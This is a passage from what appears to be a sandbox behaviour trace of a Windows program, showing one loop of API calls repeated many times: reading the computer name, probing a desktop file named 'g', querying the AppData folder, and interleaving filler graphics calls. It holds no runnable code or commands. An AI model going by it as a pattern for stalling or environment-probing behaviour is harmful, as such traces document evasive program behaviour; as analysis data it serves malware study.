pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.164] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.164] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.164] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.164] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.164] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.165] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.165] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.165] CloseHandle (hObject=0x0) returned 0 [0189.165] CloseHandle (hObject=0xffffffff) returned 1 [0189.165] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.165] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.165] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.165] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.165] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.165] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.165] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.165] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.165] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.165] CloseHandle (hObject=0x0) returned 0 [0189.165] CloseHandle (hObject=0xffffffff) returned 1 [0189.165] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.165] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.165] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.165] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.165] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.165] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.165] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.165] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.166] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.166] CloseHandle (hObject=0x0) returned 0 [0189.166] CloseHandle (hObject=0xffffffff) returned 1 [0189.166] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.166] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.166] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.166] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.166] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.166] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.166] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.166] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.166] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.166] CloseHandle (hObject=0x0) returned 0 [0189.166] CloseHandle (hObject=0xffffffff) returned 1 [0189.166] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.166] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.166] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.166] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.166] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.166] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.166] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.166] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.166] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.167] CloseHandle (hObject=0x0) returned 0 [0189.167] CloseHandle (hObject=0xffffffff) returned 1 [0189.167] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.167] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.167] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.167] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.167] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.167] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.167] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.167] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.167] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.167] CloseHandle (hObject=0x0) returned 0 [0189.167] CloseHandle (hObject=0xffffffff) returned 1 [0189.167] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.167] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.167] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.167] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.167] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.167] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.167] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.167] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.167] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.167] CloseHandle (hObject=0x0) returned 0 [0189.167] CloseHandle (hObject=0xffffffff) returned 1 [0189.168] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.168] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.168] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.168] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.168] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.168] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.168] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.168] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.168] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.168] CloseHandle (hObject=0x0) returned 0 [0189.168] CloseHandle (hObject=0xffffffff) returned 1 [0189.168] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.168] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.168] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.168] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.168] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.168] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.168] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.168] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.168] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.168] CloseHandle (hObject=0x0) returned 0 [0189.168] CloseHandle (hObject=0xffffffff) returned 1 [0189.168] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.169] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.169] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.169] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.169] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.169] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.169] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.169] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.169] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.169] CloseHandle (hObject=0x0) returned 0 [0189.169] CloseHandle (hObject=0xffffffff) returned 1 [0189.169] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.169] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.169] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.169] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.169] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.169] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.169] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.169] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.169] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.169] CloseHandle (hObject=0x0) returned 0 [0189.169] CloseHandle (hObject=0xffffffff) returned 1 [0189.169] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.169] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.169] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.170] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.170] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.170] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.170] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.170] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.170] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.170] CloseHandle (hObject=0x0) returned 0 [0189.170] CloseHandle (hObject=0xffffffff) returned 1 [0189.170] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.170] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.170] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.170] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.170] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.170] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.170] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.170] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.170] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.170] CloseHandle (hObject=0x0) returned 0 [0189.170] CloseHandle (hObject=0xffffffff) returned 1 [0189.170] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.170] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.170] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.170] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.171] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.171] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.171] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.171] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.171] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.171] CloseHandle (hObject=0x0) returned 0 [0189.171] CloseHandle (hObject=0xffffffff) returned 1 [0189.171] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.171] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.171] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.171] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.171] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.171] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.171] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.171] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.171] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.171] CloseHandle (hObject=0x0) returned 0 [0189.171] CloseHandle (hObject=0xffffffff) returned 1 [0189.171] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.171] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.171] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.171] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.171] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.172] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.172] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.172] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.172] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.172] CloseHandle (hObject=0x0) returned 0 [0189.172] CloseHandle (hObject=0xffffffff) returned 1 [0189.172] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.172] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.172] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.172] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.172] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.172] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.172] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.172] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.172] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.172] CloseHandle (hObject=0x0) returned 0 [0189.172] CloseHandle (hObject=0xffffffff) returned 1 [0189.172] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.172] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.172] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.172] GetComputerNameExW (in: NameType=0x4, 